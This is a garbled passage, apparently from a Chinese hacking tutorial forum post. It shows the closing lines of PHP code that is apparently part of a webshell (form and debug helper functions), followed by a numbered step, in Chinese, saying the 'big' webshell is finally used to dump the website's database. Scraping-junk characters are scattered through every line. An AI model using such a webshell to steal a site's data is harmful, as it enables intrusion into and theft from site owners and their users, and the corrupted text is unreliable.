# U4 `$ b. X# L9 @) Q - function formfoot(){7 [& p. I$ g% O$ P
- p('</form>');7 |6 ^; t+ l" g, s
- }, y7 p5 u' D- {: s- }$ q- i
-
) |: f% E5 Y# G4 B( c. t - // 调试函数, V/ e6 S" ~+ j: A }8 t
- function pr($a) {) M0 U# g3 L# E
- echo '<pre>';9 B' o5 B; a( F# X( J$ ?% \6 f) u
- print_r($a);
, w$ |8 U" y2 K% z4 u( C R A - echo '</pre>';
; q. `) F9 ?9 U5 f) W - }
6 E! ~' p2 Z: `: t* K& E -
$ B& M y# i( v3 w - ?>
复制代码11、最后通过大码对网站数据库进行脱库: E1 G' o" o0 S, w
 9 H9 `' d$ ~# G1 M2 D# p6 ]
' L3 W2 h1 @& x9 ]
|